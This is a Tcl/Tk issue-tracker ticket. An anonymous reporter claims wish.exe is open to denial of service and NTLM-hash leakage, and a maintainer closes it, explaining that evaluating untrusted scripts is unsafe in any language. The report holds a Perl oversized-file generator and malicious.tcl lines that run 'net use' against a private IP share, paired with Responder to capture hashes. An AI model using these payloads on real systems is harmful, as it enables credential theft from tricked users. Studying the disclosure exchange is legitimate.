|
2022-03-07
| ||
| 19:54 | • Closed ticket [a6ba4e2714]: leaking NTLM Hashes vulnerability & Denial Of Se... artifact: 02cc03cf2f user: sebres | |
|
2022-03-06
| ||
| 22:58 | • New ticket [a6ba4e2714]. artifact: 53f0904986 user: anonymous | |
leaking NTLM Hashes vulnerability & Denial Of Service vulnerability
Hello Security Team , wish.exe and wish86.exe is vulnerable to a denial of service vulnerability and leaking NTLM Hashes vulnerability - Denial of Service vulnerability the vulnerability exist in the wish86.exe & wish.exe it cause denial of service by importing a malicious TCL file in the ( Source ) an attacker could exploit the vulnerability to cause the software process to become abnormal the result is a remote exploitable denial of service using a malicious TCL file To exploit the vulnerability, an attacker could create a TCL file containing specially content and convince the user to import the file. [#] Steps : 1 - Create a malicious (.tcl) file : Exploitation POC in perl : #!/usr/bin/perl my $Buff = "A" x 1000000000; open(MYFILE,'>>dos.tcl'); print MYFILE $Buff; close(MYFILE); print "POC"; 2 - Proof of Concept : > https://youtu.be/MkDSJlygS-4 > https://youtu.be/sP9rRo4s_Fc - You can also take a closer look at this guide which contains the concept picture of wish.exe and wish86.exe : > https://prnt.sc/Gg9w1jUX79n3 > https://prnt.sc/4xSCfsROiHHz > https://prnt.sc/5sl39qJLgj-R this informations shows that wish.exe and wish86.exe are crashed using a large unicode payload in dos.tcl - leaking NTLM Hashes vulnerability there is an information disclosure data exfiltration vulnerability Attackers could create a malicious TCL file containing specially crafted malicious content that is designed to submit malicious input to the affected software wish.exe and wish86.exe An attacker could exploit this vulnerability by persuading an authenticated user to import a malicious crafted tcl file in wish.exe and wish86.exe An exploit could allow the attacker to conduct an information disclosure data exfiltration vulnerability attack, which the attacker could use to access sensitive information ( leaking NTLM hashes ) on the targeted system that may aid in further attacks. In all cases, the vulnerability could used for data exfiltration and a victimes machines compromise that is relies on social engineering for exploitation ( Phishing - remote share & USB - HID Attack etc ... ) also an attacker can perform ( MITM - ssrf ) Proof of concept Picture : https://prnt.sc/nJhOxSSuGDNE Proof of concept Codes for exploitation malicious.tcl : ( use responder ) - eval exec [auto_execok net ] use http://192.168.170.136/share - eval exec [auto_execok net ] use //192.168.170.136/share - eval exec [auto_execok dir ] //192.168.170.136/share i report this vulnerabilities to Intel Security Team in their Quartus software that support wish.exe & wish86.exe and they told me that i must report it here Eagerly awaiting your response. Thanking You, Yours Sincerely,
> Denial of Service vulnerability
Neither this is a DoS vulnerability, nor this has something to do with vulnerability at all.
Every kind of unverified user input evaluating directly in script language processor is evil. Even a simplest busy loop, like while 1 {} may block a thread with full load.
> this informations shows that wish.exe and wish86.exe are crashed
They are not crashed but controlled terminated (panic to stdout and exit with error code). Your Tcl seems to be 32-bit version, thus it is subject to the same restrictions as any onther 32-bit process (cannot allocate more than 2GB memory), what an evaluation of such long (unknown) command may imply.
Similar behavior you could see using this (depending on version):
> echo puts -nonewline "eval "; puts [string repeat A 1000000000]; | tclsh86 | tclsh86
unable to realloc 478150625 bytes
Basically NOMEM is an extraordinary situation so there is almost nothing one can do to avoid this excepting probably an attempt to show a message box with error in UI case (in tk applicaion, e.g. using wish). Simplest way to achieve that would be to set another panic handler with Tcl_SetPanicProc which would try to show native message box and then exit.
There are many corner cases where one'd need to "fix" it, but the effort and costs are too large to handle NOMEM in some different way, e. g. stop command/script evaluation only and put an error "invalid command" (which may be again too long for this particular case).
And last but not least, neither any "fix", nor a 64-bit build of the Tcl library would make it safe either.
Such an unfiltered foreign input evaluated in tcl directly can open much more attack vectors than simple DoS, because the script would evaluate everything in context of the user and so can do basically everything what permissions allow, for instance delete files or directories, send spam, build a small PE (virus) and start them hereafter, etc.
But this is not matter of Tcl and valid for every script language.